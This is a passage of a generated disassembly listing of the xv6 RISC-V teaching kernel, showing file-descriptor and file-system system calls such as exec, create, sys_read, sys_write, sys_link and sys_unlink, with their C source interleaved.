s1,-520(s0) for(i=0, off=elf.phoff; i<elf.phnum; i++, off+=sizeof(ph)){ 800054be: e0843783 ld a5,-504(s0) 800054c2: 0017869b addiw a3,a5,1 800054c6: e0d43423 sd a3,-504(s0) 800054ca: e0043783 ld a5,-512(s0) 800054ce: 0387879b addiw a5,a5,56 800054d2: e8045703 lhu a4,-384(s0) 800054d6: e2e6d3e3 bge a3,a4,800052fc <exec+0x154> if(readi(ip, 0, (uint64)&ph, off, sizeof(ph)) != sizeof(ph)) 800054da: 2781 sext.w a5,a5 800054dc: e0f43023 sd a5,-512(s0) 800054e0: 03800713 li a4,56 800054e4: 86be mv a3,a5 800054e6: e1040613 addi a2,s0,-496 800054ea: 4581 li a1,0 800054ec: 8556 mv a0,s5 800054ee: fffff097 auipc ra,0xfffff 800054f2: a7a080e7 jalr -1414(ra) # 80003f68 <readi> 800054f6: 03800793 li a5,56 800054fa: f6f51ee3 bne a0,a5,80005476 <exec+0x2ce> if(ph.type != ELF_PROG_LOAD) 800054fe: e1042783 lw a5,-496(s0) 80005502: 4705 li a4,1 80005504: fae79de3 bne a5,a4,800054be <exec+0x316> if(ph.memsz < ph.filesz) 80005508: e3843603 ld a2,-456(s0) 8000550c: e3043783 ld a5,-464(s0) 80005510: f8f660e3 bltu a2,a5,80005490 <exec+0x2e8> if(ph.vaddr + ph.memsz < ph.vaddr) 80005514: e2043783 ld a5,-480(s0) 80005518: 963e add a2,a2,a5 8000551a: f6f66ee3 bltu a2,a5,80005496 <exec+0x2ee> if((sz1 = uvmalloc(pagetable, sz, ph.vaddr + ph.memsz)) == 0) 8000551e: 85a6 mv a1,s1 80005520: 855a mv a0,s6 80005522: ffffc097 auipc ra,0xffffc 80005526: ecc080e7 jalr -308(ra) # 800013ee <uvmalloc> 8000552a: dea43c23 sd a0,-520(s0) 8000552e: d53d beqz a0,8000549c <exec+0x2f4> if(ph.vaddr % PGSIZE != 0) 80005530: e2043c03 ld s8,-480(s0) 80005534: de043783 ld a5,-544(s0) 80005538: 00fc77b3 and a5,s8,a5 8000553c: ff9d bnez a5,8000547a <exec+0x2d2> if(loadseg(pagetable, ph.vaddr, ip, ph.off, ph.filesz) < 0) 8000553e: e1842c83 lw s9,-488(s0) 80005542: e3042b83 lw s7,-464(s0) for(i = 0; i < sz; i += PGSIZE){ 80005546: f60b8ae3 beqz s7,800054ba <exec+0x312> 8000554a: 89de mv s3,s7 8000554c: 4481 li s1,0 8000554e: b371 j 800052da <exec+0x132> 0000000080005550 <argfd>: // Fetch the nth word-sized system call argument as a file descriptor // and return both the descriptor and the corresponding struct file. static int argfd(int n, int *pfd, struct file **pf) { 80005550: 7179 addi sp,sp,-48 80005552: f406 sd ra,40(sp) 80005554: f022 sd s0,32(sp) 80005556: ec26 sd s1,24(sp) 80005558: e84a sd s2,16(sp) 8000555a: 1800 addi s0,sp,48 8000555c: 892e mv s2,a1 8000555e: 84b2 mv s1,a2 int fd; struct file *f; if(argint(n, &fd) < 0) 80005560: fdc40593 addi a1,s0,-36 80005564: ffffe097 auipc ra,0xffffe 80005568: a9e080e7 jalr -1378(ra) # 80003002 <argint> 8000556c: 04054063 bltz a0,800055ac <argfd+0x5c> return -1; if(fd < 0 || fd >= NOFILE || (f=myproc()->ofile[fd]) == 0) 80005570: fdc42703 lw a4,-36(s0) 80005574: 47bd li a5,15 80005576: 02e7ed63 bltu a5,a4,800055b0 <argfd+0x60> 8000557a: ffffc097 auipc ra,0xffffc 8000557e: 41c080e7 jalr 1052(ra) # 80001996 <myproc> 80005582: fdc42703 lw a4,-36(s0) 80005586: 01e70793 addi a5,a4,30 8000558a: 078e slli a5,a5,0x3 8000558c: 953e add a0,a0,a5 8000558e: 611c ld a5,0(a0) 80005590: c395 beqz a5,800055b4 <argfd+0x64> return -1; if(pfd) 80005592: 00090463 beqz s2,8000559a <argfd+0x4a> *pfd = fd; 80005596: 00e92023 sw a4,0(s2) if(pf) *pf = f; return 0; 8000559a: 4501 li a0,0 if(pf) 8000559c: c091 beqz s1,800055a0 <argfd+0x50> *pf = f; 8000559e: e09c sd a5,0(s1) } 800055a0: 70a2 ld ra,40(sp) 800055a2: 7402 ld s0,32(sp) 800055a4: 64e2 ld s1,24(sp) 800055a6: 6942 ld s2,16(sp) 800055a8: 6145 addi sp,sp,48 800055aa: 8082 ret return -1; 800055ac: 557d li a0,-1 800055ae: bfcd j 800055a0 <argfd+0x50> return -1; 800055b0: 557d li a0,-1 800055b2: b7fd j 800055a0 <argfd+0x50> 800055b4: 557d li a0,-1 800055b6: b7ed j 800055a0 <argfd+0x50> 00000000800055b8 <fdalloc>: // Allocate a file descriptor for the given file. // Takes over file reference from caller on success. static int fdalloc(struct file *f) { 800055b8: 1101 addi sp,sp,-32 800055ba: ec06 sd ra,24(sp) 800055bc: e822 sd s0,16(sp) 800055be: e426 sd s1,8(sp) 800055c0: 1000 addi s0,sp,32 800055c2: 84aa mv s1,a0 int fd; struct proc *p = myproc(); 800055c4: ffffc097 auipc ra,0xffffc 800055c8: 3d2080e7 jalr 978(ra) # 80001996 <myproc> 800055cc: 862a mv a2,a0 for(fd = 0; fd < NOFILE; fd++){ 800055ce: 0f050793 addi a5,a0,240 800055d2: 4501 li a0,0 800055d4: 46c1 li a3,16 if(p->ofile[fd] == 0){ 800055d6: 6398 ld a4,0(a5) 800055d8: cb19 beqz a4,800055ee <fdalloc+0x36> for(fd = 0; fd < NOFILE; fd++){ 800055da: 2505 addiw a0,a0,1 800055dc: 07a1 addi a5,a5,8 800055de: fed51ce3 bne a0,a3,800055d6 <fdalloc+0x1e> p->ofile[fd] = f; return fd; } } return -1; 800055e2: 557d li a0,-1 } 800055e4: 60e2 ld ra,24(sp) 800055e6: 6442 ld s0,16(sp) 800055e8: 64a2 ld s1,8(sp) 800055ea: 6105 addi sp,sp,32 800055ec: 8082 ret p->ofile[fd] = f; 800055ee: 01e50793 addi a5,a0,30 800055f2: 078e slli a5,a5,0x3 800055f4: 963e add a2,a2,a5 800055f6: e204 sd s1,0(a2) return fd; 800055f8: b7f5 j 800055e4 <fdalloc+0x2c> 00000000800055fa <create>: return -1; } static struct inode* create(char *path, short type, short major, short minor) { 800055fa: 715d addi sp,sp,-80 800055fc: e486 sd ra,72(sp) 800055fe: e0a2 sd s0,64(sp) 80005600: fc26 sd s1,56(sp) 80005602: f84a sd s2,48(sp) 80005604: f44e sd s3,40(sp) 80005606: f052 sd s4,32(sp) 80005608: ec56 sd s5,24(sp) 8000560a: 0880 addi s0,sp,80 8000560c: 89ae mv s3,a1 8000560e: 8ab2 mv s5,a2 80005610: 8a36 mv s4,a3 struct inode *ip, *dp; char name[DIRSIZ]; if((dp = nameiparent(path, name)) == 0) 80005612: fb040593 addi a1,s0,-80 80005616: fffff097 auipc ra,0xfffff 8000561a: e72080e7 jalr -398(ra) # 80004488 <nameiparent> 8000561e: 892a mv s2,a0 80005620: 12050e63 beqz a0,8000575c <create+0x162> return 0; ilock(dp); 80005624: ffffe097 auipc ra,0xffffe 80005628: 690080e7 jalr 1680(ra) # 80003cb4 <ilock> if((ip = dirlookup(dp, name, 0)) != 0){ 8000562c: 4601 li a2,0 8000562e: fb040593 addi a1,s0,-80 80005632: 854a mv a0,s2 80005634: fffff097 auipc ra,0xfffff 80005638: b64080e7 jalr -1180(ra) # 80004198 <dirlookup> 8000563c: 84aa mv s1,a0 8000563e: c921 beqz a0,8000568e <create+0x94> iunlockput(dp); 80005640: 854a mv a0,s2 80005642: fffff097 auipc ra,0xfffff 80005646: 8d4080e7 jalr -1836(ra) # 80003f16 <iunlockput> ilock(ip); 8000564a: 8526 mv a0,s1 8000564c: ffffe097 auipc ra,0xffffe 80005650: 668080e7 jalr 1640(ra) # 80003cb4 <ilock> if(type == T_FILE && (ip->type == T_FILE || ip->type == T_DEVICE)) 80005654: 2981 sext.w s3,s3 80005656: 4789 li a5,2 80005658: 02f99463 bne s3,a5,80005680 <create+0x86> 8000565c: 0444d783 lhu a5,68(s1) 80005660: 37f9 addiw a5,a5,-2 80005662: 17c2 slli a5,a5,0x30 80005664: 93c1 srli a5,a5,0x30 80005666: 4705 li a4,1 80005668: 00f76c63 bltu a4,a5,80005680 <create+0x86> panic("create: dirlink"); iunlockput(dp); return ip; } 8000566c: 8526 mv a0,s1 8000566e: 60a6 ld ra,72(sp) 80005670: 6406 ld s0,64(sp) 80005672: 74e2 ld s1,56(sp) 80005674: 7942 ld s2,48(sp) 80005676: 79a2 ld s3,40(sp) 80005678: 7a02 ld s4,32(sp) 8000567a: 6ae2 ld s5,24(sp) 8000567c: 6161 addi sp,sp,80 8000567e: 8082 ret iunlockput(ip); 80005680: 8526 mv a0,s1 80005682: fffff097 auipc ra,0xfffff 80005686: 894080e7 jalr -1900(ra) # 80003f16 <iunlockput> return 0; 8000568a: 4481 li s1,0 8000568c: b7c5 j 8000566c <create+0x72> if((ip = ialloc(dp->dev, type)) == 0) 8000568e: 85ce mv a1,s3 80005690: 00092503 lw a0,0(s2) 80005694: ffffe097 auipc ra,0xffffe 80005698: 488080e7 jalr 1160(ra) # 80003b1c <ialloc> 8000569c: 84aa mv s1,a0 8000569e: c521 beqz a0,800056e6 <create+0xec> ilock(ip); 800056a0: ffffe097 auipc ra,0xffffe 800056a4: 614080e7 jalr 1556(ra) # 80003cb4 <ilock> ip->major = major; 800056a8: 05549323 sh s5,70(s1) ip->minor = minor; 800056ac: 05449423 sh s4,72(s1) ip->nlink = 1; 800056b0: 4a05 li s4,1 800056b2: 05449523 sh s4,74(s1) iupdate(ip); 800056b6: 8526 mv a0,s1 800056b8: ffffe097 auipc ra,0xffffe 800056bc: 532080e7 jalr 1330(ra) # 80003bea <iupdate> if(type == T_DIR){ // Create . and .. entries. 800056c0: 2981 sext.w s3,s3 800056c2: 03498a63 beq s3,s4,800056f6 <create+0xfc> if(dirlink(dp, name, ip->inum) < 0) 800056c6: 40d0 lw a2,4(s1) 800056c8: fb040593 addi a1,s0,-80 800056cc: 854a mv a0,s2 800056ce: fffff097 auipc ra,0xfffff 800056d2: cda080e7 jalr -806(ra) # 800043a8 <dirlink> 800056d6: 06054b63 bltz a0,8000574c <create+0x152> iunlockput(dp); 800056da: 854a mv a0,s2 800056dc: fffff097 auipc ra,0xfffff 800056e0: 83a080e7 jalr -1990(ra) # 80003f16 <iunlockput> return ip; 800056e4: b761 j 8000566c <create+0x72> panic("create: ialloc"); 800056e6: 00003517 auipc a0,0x3 800056ea: 23250513 addi a0,a0,562 # 80008918 <syscalls+0x2e8> 800056ee: ffffb097 auipc ra,0xffffb 800056f2: e3c080e7 jalr -452(ra) # 8000052a <panic> dp->nlink++; // for ".." 800056f6: 04a95783 lhu a5,74(s2) 800056fa: 2785 addiw a5,a5,1 800056fc: 04f91523 sh a5,74(s2) iupdate(dp); 80005700: 854a mv a0,s2 80005702: ffffe097 auipc ra,0xffffe 80005706: 4e8080e7 jalr 1256(ra) # 80003bea <iupdate> if(dirlink(ip, ".", ip->inum) < 0 || dirlink(ip, "..", dp->inum) < 0) 8000570a: 40d0 lw a2,4(s1) 8000570c: 00003597 auipc a1,0x3 80005710: 21c58593 addi a1,a1,540 # 80008928 <syscalls+0x2f8> 80005714: 8526 mv a0,s1 80005716: fffff097 auipc ra,0xfffff 8000571a: c92080e7 jalr -878(ra) # 800043a8 <dirlink> 8000571e: 00054f63 bltz a0,8000573c <create+0x142> 80005722: 00492603 lw a2,4(s2) 80005726: 00003597 auipc a1,0x3 8000572a: 20a58593 addi a1,a1,522 # 80008930 <syscalls+0x300> 8000572e: 8526 mv a0,s1 80005730: fffff097 auipc ra,0xfffff 80005734: c78080e7 jalr -904(ra) # 800043a8 <dirlink> 80005738: f80557e3 bgez a0,800056c6 <create+0xcc> panic("create dots"); 8000573c: 00003517 auipc a0,0x3 80005740: 1fc50513 addi a0,a0,508 # 80008938 <syscalls+0x308> 80005744: ffffb097 auipc ra,0xffffb 80005748: de6080e7 jalr -538(ra) # 8000052a <panic> panic("create: dirlink"); 8000574c: 00003517 auipc a0,0x3 80005750: 1fc50513 addi a0,a0,508 # 80008948 <syscalls+0x318> 80005754: ffffb097 auipc ra,0xffffb 80005758: dd6080e7 jalr -554(ra) # 8000052a <panic> return 0; 8000575c: 84aa mv s1,a0 8000575e: b739 j 8000566c <create+0x72> 0000000080005760 <sys_dup>: { 80005760: 7179 addi sp,sp,-48 80005762: f406 sd ra,40(sp) 80005764: f022 sd s0,32(sp) 80005766: ec26 sd s1,24(sp) 80005768: 1800 addi s0,sp,48 if(argfd(0, 0, &f) < 0) 8000576a: fd840613 addi a2,s0,-40 8000576e: 4581 li a1,0 80005770: 4501 li a0,0 80005772: 00000097 auipc ra,0x0 80005776: dde080e7 jalr -546(ra) # 80005550 <argfd> return -1; 8000577a: 57fd li a5,-1 if(argfd(0, 0, &f) < 0) 8000577c: 02054363 bltz a0,800057a2 <sys_dup+0x42> if((fd=fdalloc(f)) < 0) 80005780: fd843503 ld a0,-40(s0) 80005784: 00000097 auipc ra,0x0 80005788: e34080e7 jalr -460(ra) # 800055b8 <fdalloc> 8000578c: 84aa mv s1,a0 return -1; 8000578e: 57fd li a5,-1 if((fd=fdalloc(f)) < 0) 80005790: 00054963 bltz a0,800057a2 <sys_dup+0x42> filedup(f); 80005794: fd843503 ld a0,-40(s0) 80005798: fffff097 auipc ra,0xfffff 8000579c: 36c080e7 jalr 876(ra) # 80004b04 <filedup> return fd; 800057a0: 87a6 mv a5,s1 } 800057a2: 853e mv a0,a5 800057a4: 70a2 ld ra,40(sp) 800057a6: 7402 ld s0,32(sp) 800057a8: 64e2 ld s1,24(sp) 800057aa: 6145 addi sp,sp,48 800057ac: 8082 ret 00000000800057ae <sys_read>: { 800057ae: 7179 addi sp,sp,-48 800057b0: f406 sd ra,40(sp) 800057b2: f022 sd s0,32(sp) 800057b4: 1800 addi s0,sp,48 if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argaddr(1, &p) < 0) 800057b6: fe840613 addi a2,s0,-24 800057ba: 4581 li a1,0 800057bc: 4501 li a0,0 800057be: 00000097 auipc ra,0x0 800057c2: d92080e7 jalr -622(ra) # 80005550 <argfd> return -1; 800057c6: 57fd li a5,-1 if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argaddr(1, &p) < 0) 800057c8: 04054163 bltz a0,8000580a <sys_read+0x5c> 800057cc: fe440593 addi a1,s0,-28 800057d0: 4509 li a0,2 800057d2: ffffe097 auipc ra,0xffffe 800057d6: 830080e7 jalr -2000(ra) # 80003002 <argint> return -1; 800057da: 57fd li a5,-1 if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argaddr(1, &p) < 0) 800057dc: 02054763 bltz a0,8000580a <sys_read+0x5c> 800057e0: fd840593 addi a1,s0,-40 800057e4: 4505 li a0,1 800057e6: ffffe097 auipc ra,0xffffe 800057ea: 83e080e7 jalr -1986(ra) # 80003024 <argaddr> return -1; 800057ee: 57fd li a5,-1 if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argaddr(1, &p) < 0) 800057f0: 00054d63 bltz a0,8000580a <sys_read+0x5c> return fileread(f, p, n); 800057f4: fe442603 lw a2,-28(s0) 800057f8: fd843583 ld a1,-40(s0) 800057fc: fe843503 ld a0,-24(s0) 80005800: fffff097 auipc ra,0xfffff 80005804: 490080e7 jalr 1168(ra) # 80004c90 <fileread> 80005808: 87aa mv a5,a0 } 8000580a: 853e mv a0,a5 8000580c: 70a2 ld ra,40(sp) 8000580e: 7402 ld s0,32(sp) 80005810: 6145 addi sp,sp,48 80005812: 8082 ret 0000000080005814 <sys_write>: { 80005814: 7179 addi sp,sp,-48 80005816: f406 sd ra,40(sp) 80005818: f022 sd s0,32(sp) 8000581a: 1800 addi s0,sp,48 if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argaddr(1, &p) < 0) 8000581c: fe840613 addi a2,s0,-24 80005820: 4581 li a1,0 80005822: 4501 li a0,0 80005824: 00000097 auipc ra,0x0 80005828: d2c080e7 jalr -724(ra) # 80005550 <argfd> return -1; 8000582c: 57fd li a5,-1 if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argaddr(1, &p) < 0) 8000582e: 04054163 bltz a0,80005870 <sys_write+0x5c> 80005832: fe440593 addi a1,s0,-28 80005836: 4509 li a0,2 80005838: ffffd097 auipc ra,0xffffd 8000583c: 7ca080e7 jalr 1994(ra) # 80003002 <argint> return -1; 80005840: 57fd li a5,-1 if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argaddr(1, &p) < 0) 80005842: 02054763 bltz a0,80005870 <sys_write+0x5c> 80005846: fd840593 addi a1,s0,-40 8000584a: 4505 li a0,1 8000584c: ffffd097 auipc ra,0xffffd 80005850: 7d8080e7 jalr 2008(ra) # 80003024 <argaddr> return -1; 80005854: 57fd li a5,-1 if(argfd(0, 0, &f) < 0 || argint(2, &n) < 0 || argaddr(1, &p) < 0) 80005856: 00054d63 bltz a0,80005870 <sys_write+0x5c> return filewrite(f, p, n); 8000585a: fe442603 lw a2,-28(s0) 8000585e: fd843583 ld a1,-40(s0) 80005862: fe843503 ld a0,-24(s0) 80005866: fffff097 auipc ra,0xfffff 8000586a: 4ec080e7 jalr 1260(ra) # 80004d52 <filewrite> 8000586e: 87aa mv a5,a0 } 80005870: 853e mv a0,a5 80005872: 70a2 ld ra,40(sp) 80005874: 7402 ld s0,32(sp) 80005876: 6145 addi sp,sp,48 80005878: 8082 ret 000000008000587a <sys_close>: { 8000587a: 1101 addi sp,sp,-32 8000587c: ec06 sd ra,24(sp) 8000587e: e822 sd s0,16(sp) 80005880: 1000 addi s0,sp,32 if(argfd(0, &fd, &f) < 0) 80005882: fe040613 addi a2,s0,-32 80005886: fec40593 addi a1,s0,-20 8000588a: 4501 li a0,0 8000588c: 00000097 auipc ra,0x0 80005890: cc4080e7 jalr -828(ra) # 80005550 <argfd> return -1; 80005894: 57fd li a5,-1 if(argfd(0, &fd, &f) < 0) 80005896: 02054463 bltz a0,800058be <sys_close+0x44> myproc()->ofile[fd] = 0; 8000589a: ffffc097 auipc ra,0xffffc 8000589e: 0fc080e7 jalr 252(ra) # 80001996 <myproc> 800058a2: fec42783 lw a5,-20(s0) 800058a6: 07f9 addi a5,a5,30 800058a8: 078e slli a5,a5,0x3 800058aa: 97aa add a5,a5,a0 800058ac: 0007b023 sd zero,0(a5) fileclose(f); 800058b0: fe043503 ld a0,-32(s0) 800058b4: fffff097 auipc ra,0xfffff 800058b8: 2a2080e7 jalr 674(ra) # 80004b56 <fileclose> return 0; 800058bc: 4781 li a5,0 } 800058be: 853e mv a0,a5 800058c0: 60e2 ld ra,24(sp) 800058c2: 6442 ld s0,16(sp) 800058c4: 6105 addi sp,sp,32 800058c6: 8082 ret 00000000800058c8 <sys_fstat>: { 800058c8: 1101 addi sp,sp,-32 800058ca: ec06 sd ra,24(sp) 800058cc: e822 sd s0,16(sp) 800058ce: 1000 addi s0,sp,32 if(argfd(0, 0, &f) < 0 || argaddr(1, &st) < 0) 800058d0: fe840613 addi a2,s0,-24 800058d4: 4581 li a1,0 800058d6: 4501 li a0,0 800058d8: 00000097 auipc ra,0x0 800058dc: c78080e7 jalr -904(ra) # 80005550 <argfd> return -1; 800058e0: 57fd li a5,-1 if(argfd(0, 0, &f) < 0 || argaddr(1, &st) < 0) 800058e2: 02054563 bltz a0,8000590c <sys_fstat+0x44> 800058e6: fe040593 addi a1,s0,-32 800058ea: 4505 li a0,1 800058ec: ffffd097 auipc ra,0xffffd 800058f0: 738080e7 jalr 1848(ra) # 80003024 <argaddr> return -1; 800058f4: 57fd li a5,-1 if(argfd(0, 0, &f) < 0 || argaddr(1, &st) < 0) 800058f6: 00054b63 bltz a0,8000590c <sys_fstat+0x44> return filestat(f, st); 800058fa: fe043583 ld a1,-32(s0) 800058fe: fe843503 ld a0,-24(s0) 80005902: fffff097 auipc ra,0xfffff 80005906: 31c080e7 jalr 796(ra) # 80004c1e <filestat> 8000590a: 87aa mv a5,a0 } 8000590c: 853e mv a0,a5 8000590e: 60e2 ld ra,24(sp) 80005910: 6442 ld s0,16(sp) 80005912: 6105 addi sp,sp,32 80005914: 8082 ret 0000000080005916 <sys_link>: { 80005916: 7169 addi sp,sp,-304 80005918: f606 sd ra,296(sp) 8000591a: f222 sd s0,288(sp) 8000591c: ee26 sd s1,280(sp) 8000591e: ea4a sd s2,272(sp) 80005920: 1a00 addi s0,sp,304 if(argstr(0, old, MAXPATH) < 0 || argstr(1, new, MAXPATH) < 0) 80005922: 08000613 li a2,128 80005926: ed040593 addi a1,s0,-304 8000592a: 4501 li a0,0 8000592c: ffffd097 auipc ra,0xffffd 80005930: 71a080e7 jalr 1818(ra) # 80003046 <argstr> return -1; 80005934: 57fd li a5,-1 if(argstr(0, old, MAXPATH) < 0 || argstr(1, new, MAXPATH) < 0) 80005936: 10054e63 bltz a0,80005a52 <sys_link+0x13c> 8000593a: 08000613 li a2,128 8000593e: f5040593 addi a1,s0,-176 80005942: 4505 li a0,1 80005944: ffffd097 auipc ra,0xffffd 80005948: 702080e7 jalr 1794(ra) # 80003046 <argstr> return -1; 8000594c: 57fd li a5,-1 if(argstr(0, old, MAXPATH) < 0 || argstr(1, new, MAXPATH) < 0) 8000594e: 10054263 bltz a0,80005a52 <sys_link+0x13c> begin_op(); 80005952: fffff097 auipc ra,0xfffff 80005956: d38080e7 jalr -712(ra) # 8000468a <begin_op> if((ip = namei(old)) == 0){ 8000595a: ed040513 addi a0,s0,-304 8000595e: fffff097 auipc ra,0xfffff 80005962: b0c080e7 jalr -1268(ra) # 8000446a <namei> 80005966: 84aa mv s1,a0 80005968: c551 beqz a0,800059f4 <sys_link+0xde> ilock(ip); 8000596a: ffffe097 auipc ra,0xffffe 8000596e: 34a080e7 jalr 842(ra) # 80003cb4 <ilock> if(ip->type == T_DIR){ 80005972: 04449703 lh a4,68(s1) 80005976: 4785 li a5,1 80005978: 08f70463 beq a4,a5,80005a00 <sys_link+0xea> ip->nlink++; 8000597c: 04a4d783 lhu a5,74(s1) 80005980: 2785 addiw a5,a5,1 80005982: 04f49523 sh a5,74(s1) iupdate(ip); 80005986: 8526 mv a0,s1 80005988: ffffe097 auipc ra,0xffffe 8000598c: 262080e7 jalr 610(ra) # 80003bea <iupdate> iunlock(ip); 80005990: 8526 mv a0,s1 80005992: ffffe097 auipc ra,0xffffe 80005996: 3e4080e7 jalr 996(ra) # 80003d76 <iunlock> if((dp = nameiparent(new, name)) == 0) 8000599a: fd040593 addi a1,s0,-48 8000599e: f5040513 addi a0,s0,-176 800059a2: fffff097 auipc ra,0xfffff 800059a6: ae6080e7 jalr -1306(ra) # 80004488 <nameiparent> 800059aa: 892a mv s2,a0 800059ac: c935 beqz a0,80005a20 <sys_link+0x10a> ilock(dp); 800059ae: ffffe097 auipc ra,0xffffe 800059b2: 306080e7 jalr 774(ra) # 80003cb4 <ilock> if(dp->dev != ip->dev || dirlink(dp, name, ip->inum) < 0){ 800059b6: 00092703 lw a4,0(s2) 800059ba: 409c lw a5,0(s1) 800059bc: 04f71d63 bne a4,a5,80005a16 <sys_link+0x100> 800059c0: 40d0 lw a2,4(s1) 800059c2: fd040593 addi a1,s0,-48 800059c6: 854a mv a0,s2 800059c8: fffff097 auipc ra,0xfffff 800059cc: 9e0080e7 jalr -1568(ra) # 800043a8 <dirlink> 800059d0: 04054363 bltz a0,80005a16 <sys_link+0x100> iunlockput(dp); 800059d4: 854a mv a0,s2 800059d6: ffffe097 auipc ra,0xffffe 800059da: 540080e7 jalr 1344(ra) # 80003f16 <iunlockput> iput(ip); 800059de: 8526 mv a0,s1 800059e0: ffffe097 auipc ra,0xffffe 800059e4: 48e080e7 jalr 1166(ra) # 80003e6e <iput> end_op(); 800059e8: fffff097 auipc ra,0xfffff 800059ec: d22080e7 jalr -734(ra) # 8000470a <end_op> return 0; 800059f0: 4781 li a5,0 800059f2: a085 j 80005a52 <sys_link+0x13c> end_op(); 800059f4: fffff097 auipc ra,0xfffff 800059f8: d16080e7 jalr -746(ra) # 8000470a <end_op> return -1; 800059fc: 57fd li a5,-1 800059fe: a891 j 80005a52 <sys_link+0x13c> iunlockput(ip); 80005a00: 8526 mv a0,s1 80005a02: ffffe097 auipc ra,0xffffe 80005a06: 514080e7 jalr 1300(ra) # 80003f16 <iunlockput> end_op(); 80005a0a: fffff097 auipc ra,0xfffff 80005a0e: d00080e7 jalr -768(ra) # 8000470a <end_op> return -1; 80005a12: 57fd li a5,-1 80005a14: a83d j 80005a52 <sys_link+0x13c> iunlockput(dp); 80005a16: 854a mv a0,s2 80005a18: ffffe097 auipc ra,0xffffe 80005a1c: 4fe080e7 jalr 1278(ra) # 80003f16 <iunlockput> ilock(ip); 80005a20: 8526 mv a0,s1 80005a22: ffffe097 auipc ra,0xffffe 80005a26: 292080e7 jalr 658(ra) # 80003cb4 <ilock> ip->nlink--; 80005a2a: 04a4d783 lhu a5,74(s1) 80005a2e: 37fd addiw a5,a5,-1 80005a30: 04f49523 sh a5,74(s1) iupdate(ip); 80005a34: 8526 mv a0,s1 80005a36: ffffe097 auipc ra,0xffffe 80005a3a: 1b4080e7 jalr 436(ra) # 80003bea <iupdate> iunlockput(ip); 80005a3e: 8526 mv a0,s1 80005a40: ffffe097 auipc ra,0xffffe 80005a44: 4d6080e7 jalr 1238(ra) # 80003f16 <iunlockput> end_op(); 80005a48: fffff097 auipc ra,0xfffff 80005a4c: cc2080e7 jalr -830(ra) # 8000470a <end_op> return -1; 80005a50: 57fd li a5,-1 } 80005a52: 853e mv a0,a5 80005a54: 70b2 ld ra,296(sp) 80005a56: 7412 ld s0,288(sp) 80005a58: 64f2 ld s1,280(sp) 80005a5a: 6952 ld s2,272(sp) 80005a5c: 6155 addi sp,sp,304 80005a5e: 8082 ret 0000000080005a60 <sys_unlink>: { 80005a60: 7151 addi sp,sp,-240 80005a62: f586 sd ra,232(sp) 80005a64: f1a2 sd s0,224(sp) 80005a66: eda6 sd s1,216(sp) 80005a68: e9ca sd s2,208(sp) 80005a6a: e5ce sd s3,200(sp) 80005a6c: 1980 addi s0,sp,240 if(argstr(0, path, MAXPATH) < 0) 80005a6e: 08000613 li a2,128 80005a72: f3040593 addi a1,s0,-208 80005a76: 4501 li a0,0 80005a78: ffffd097 auipc ra,0xffffd 80005a7c: 5ce080e7 jalr 1486(ra) # 80003046 <argstr> 80005a80: 18054163 bltz a0,80005c02 <sys_unlink+0x1a2> begin_op(); 80005a84: fffff097 auipc ra,0xfffff 80005a88: c06080e7 jalr -1018(ra) # 8000468a <begin_op> if((dp = nameiparent(path, name)) == 0){ 80005a8c: fb040593 addi a1,s0,-80 80005a90: f3040513 addi a0,s0,-208 80005a94: fffff097 auipc ra,0xfffff 80005a98: 9f4080e7 jalr -1548(ra) # 80004488 <nameiparent> 80005a9c: 84aa mv s1,a0 80005a9e: c979 beqz a0,80005b74 <sys_unlink+0x114> ilock(dp); 80005aa0: ffffe097 auipc ra,0xffffe 80005aa4: 214080e7 jalr 532(ra) # 80003cb4 <ilock> if(namecmp(name, ".") == 0 || namecmp(name, "..") == 0) 80005aa8: 00003597 auipc a1,0x3 80005aac: e8058593 addi a1,a1,-384 # 80008928 <syscalls+0x2f8> 80005ab0: fb040513 addi a0,s0,-80 80005ab4: ffffe097 auipc ra,0xffffe 80005ab8: 6ca080e7 jalr 1738(ra) # 8000417e <namecmp> 80005abc: 14050a63 beqz a0,80005c10 <sys_unlink+0x1b0> 80005ac0: 00003597 auipc a1,0x3 80005ac4: e7058593 addi a1,a1,-400 # 80008930 <syscalls+0x300> 80005ac8: fb040513 addi a0,s0,-80 80005acc: ffffe097 auipc ra,0xffffe 80005ad0: 6b2080e7 jalr 1714(ra) # 8000417e <namecmp> 80005ad4: 12050e63 beqz a0,80005c10 <sys_unlink+0x1b0> if((ip = dirlookup(dp, name, &off)) == 0) 80005ad8: f2c40613 addi a2,s0,-212 80005adc: fb040593 addi a1,s0,-80 80005ae0: 8526 mv a0,s1 80005ae2: ffffe097 auipc ra,0xffffe 80005ae6: 6b6080e7 jalr 1718(ra) # 80004198 <dirlookup> 80005aea: 892a mv s2,a0 80005aec: 12050263 beqz a0,80005c10 <sys_unlink+0x1b0> ilock(ip); 80005af0: ffffe097 auipc ra,0xffffe 80005af4: 1c4080e7 jalr 452(ra) # 80003cb4 <ilock> if(ip->nlink < 1) 80005af8: 04a91783 lh a5,74(s2) 80005afc: 08f05263 blez a5,80005b80 <sys_unlink+0x120> if(ip->type == T_DIR && !isdirempty(ip)){ 80005b00: 04491703 lh a4,68(s2) 80005b04: 4785 li a5,1 80005b06: 08f70563 beq a4,a5,80005b90 <sys_unlink+0x130> memset(&de, 0, sizeof(de)); 80005b0a: 4641 li a2,16 80005b0c: 4581 li a1,0 80005b0e: fc040513 addi a0,s0,-64 80005b12: ffffb097 auipc ra,0xffffb 80005b16: 1ac080e7 jalr 428(ra) # 80000cbe <memset> if(writei(dp, 0, (uint64)&de, off, sizeof(de)) != sizeof(de)) 80005b1a: 4741 li a4,16 80005b1c: f2c42683 lw a3,-212(s0) 80005b20: fc040613 addi a2,s0,-64 80005b24: 4581 li a1,0 80005b26: 8526 mv a0,s1 80005b28: ffffe097 auipc ra,0xffffe 80005b2c: 538080e7 jalr 1336(ra) # 80004060 <writei> 80005b30: 47c1 li a5,16 80005b32: 0af51563 bne a0,a5,80005bdc <sys_unlink+0x17c> if(ip->type == T_DIR){ 80005b36: 04491703 lh a4,68(s2) 80005b3a: 4785 li a5,1 80005b3c: 0af70863 beq a4,a5,80005bec <sys_unlink+0x18c> iunlockput(dp); 80005b40: 8526 mv a0,s1 80005b42: ffffe097 auipc ra,0xffffe 80005b46: 3d4080e7 jalr 